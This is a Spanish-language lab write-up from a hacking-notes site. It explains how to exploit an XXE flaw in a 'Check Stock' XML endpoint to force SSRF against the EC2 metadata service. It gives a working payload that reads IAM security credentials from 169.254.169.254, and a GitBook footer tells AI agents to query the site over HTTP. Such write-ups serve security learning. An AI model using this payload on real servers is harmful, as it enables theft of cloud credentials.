> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/xxe-to-perform-ssrf-attacks.md).

# XXE para realizar ataques SSRF

### Explotación de XXE para realizar ataques SSRF

Explotar una vulnerabilidad XXE en la **"Check Stock"** funcionalidad que acepta XML, provocando una solicitud SSRF al endpoint de metadatos de EC2 (`HTTP://169.254.169.254/`) y recuperando la clave secreta de IAM del servidor.

El servidor del laboratorio simula un endpoint de metadatos de EC2 accesible a la dirección `HTTP://169.254.169.254/` predeterminada. Al inyectar una entidad externa en el XML enviado al analizador vulnerable, se puede obligar al servidor a leer la URL interna y devolver su contenido en la respuesta.

#### Iniciar XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### Carga útil XXE usada para realizar SSRF

Reportando desde una entidad externa que apunta al endpoint de metadatos de IAM y luego incluyendo esa entidad en el campo reflejado (`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/0231b9d5e907684429d72cd942c169dbe5e0750a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/xxe-to-perform-ssrf-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.